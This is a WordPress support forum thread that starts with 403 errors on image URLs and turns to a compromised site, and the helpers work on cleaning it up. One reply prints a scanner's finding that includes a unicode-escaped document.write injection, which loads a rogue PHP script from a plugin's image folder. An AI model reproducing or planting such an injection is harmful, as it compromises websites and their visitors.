• Hello, Google Webmaster Tools found that there are some 403.

    I give you one example. These two links are forbidden.

    https://glamourina.pl/wp-content/uploads/2011/04/aldo-shoes-summer2011-4.jpg/feed/
    https://glamourina.pl/wp-content/uploads/2011/04/aldo-shoes-summer2011-4.jpg/

    However this one is OK.
    https://glamourina.pl/wp-content/uploads/2011/04/aldo-shoes-summer2011-4.jpg

    Is it the normal WP behavior or is there something wrong somewhere?

Viewing 11 replies - 1 through 11 (of 11 total)
  • File names don’t end in a trailing slash. They end in an extension. The slash makes the browser think you are calling a directory. Your web sever configuration probably denies casual browsing of directories, so it throws the 403 error first, instead of a 404 (resource not found) error.

    Thread Starter utnalove

    (@utnalove)

    oh, ok… thank you. But why also the /feed/ behaves like this?

    Thread Starter utnalove

    (@utnalove)

    even if I remove the trailing slash from /feed/ -> /feed it is still forbidden.

    //glamourina.pl/wp-content/uploads/2011/04/aldo-shoes-summer2011-4.jpg/feed/

    I suspect that the word “feed” does not belong after the url to the photograph located in your uploads folder, with or without the trailing slash. When requesting a file, (aldo-shoes-summer2011-4.jpg, in this case) the url stops at the file extension.

    Thread Starter utnalove

    (@utnalove)

    I see… I am wondering where this “feed” in this place of the URL comes from.

    GWT doesn’t say anything about where it found it…

    My anti-virus tells me that your site appears to contain an exploit. The identified file was:

    glamourina.pl/plugins/google-sitemap-generator/img/searchlable.php

    “Exploit Link to Exploit Site (type 2006)”

    Appears you may have been hacked. Your other issues may or may not be related, but I would assume that the exploit is going to take precedence for you, now that you know it’s there.

    Thread Starter utnalove

    (@utnalove)

    Wow, thanks!!! I’ll repair that. My AV are up to date and say nothing :/

    Thread Starter utnalove

    (@utnalove)

    It looks like the site is ok right now. Can you please double check?

    It may appear okay, but it probably isn’t.

    Two things stand out about the warning;

    1) the file path in the warning is not consistent with the normal path to the wordpress plugins folder. You need to check that, and see if there really is a “plugins” directory in the root of your site. I know you have the plugin installed in the normal path, because I can see the readme file: /wp-content/plugins/google-sitemap-generator/readme.txt

    2) as far as I know, the /img directory in the google-sitemap-generator plugin should only contain images, and a javascript – not .php files. You may want to check that out as well. (Note: I could have misspelled the actual file name.)

    Step one, see if there is actually a plugin folder at the root of your site. If not, I may have read the path wrong.

    Step two, look in the /wp-content/plugins/google-sitemap-generator/img directory and see if there are any .php files there that should not be.

    I just used this online scanner to scan your site.

    https://sitecheck.sucuri.net/scanner/

    Here is the result.

    Malware found on javascript file:
    //glamourina.pl/wp-content/plugins/wp-cumulus/swfobject.js
    Known javascript malware.
    Details: https://sucuri.net/malware/entry/MW:JS:221
    document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0070\u006C\u0075\u0067\u0069\u006E\u0073\u002F\u0067\u006F\u006F\u0067\u006C\u0065\u002D\u0073\u0069\u0074\u0065\u006D\u0061\u0070\u002D\u0067\u0065\u006E\u0065\u0072\u0061\u0074\u006F\u0072\u002F\u0069\u006D\u0067\u002F\u0073\u0065\u0061\u0072\u0063\u0068\u006C\u0061\u0062\u0065\u006C\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");/**

    Hope that helps to get you started.

    Thread Starter utnalove

    (@utnalove)

    1) glamourina.pl/plugins/google-sitemap-generator/img/searchlable.php here there was nothing. However the searchlable.php file was in the real path of that plugin.
    I completely deleted that plugin and replaced all the files with the newly fresh downloaded ones.

    2) I did it… everything replaced, that plugin is now clean.

    ====
    I opened that .js and there was strange code at the beginning.
    I did the same here. Deleted everything and replaced with fresh files just downloaded from the wp plugins directory.

    I see that https://sitecheck.sucuri.net/scanner/ still sees that .js as malicious, but I think that site has some kind of internal cache. (my caching plugin is disabled)

Viewing 11 replies - 1 through 11 (of 11 total)
  • The topic ‘403 fobidden for images with trailing slash – why?’ is closed to new replies.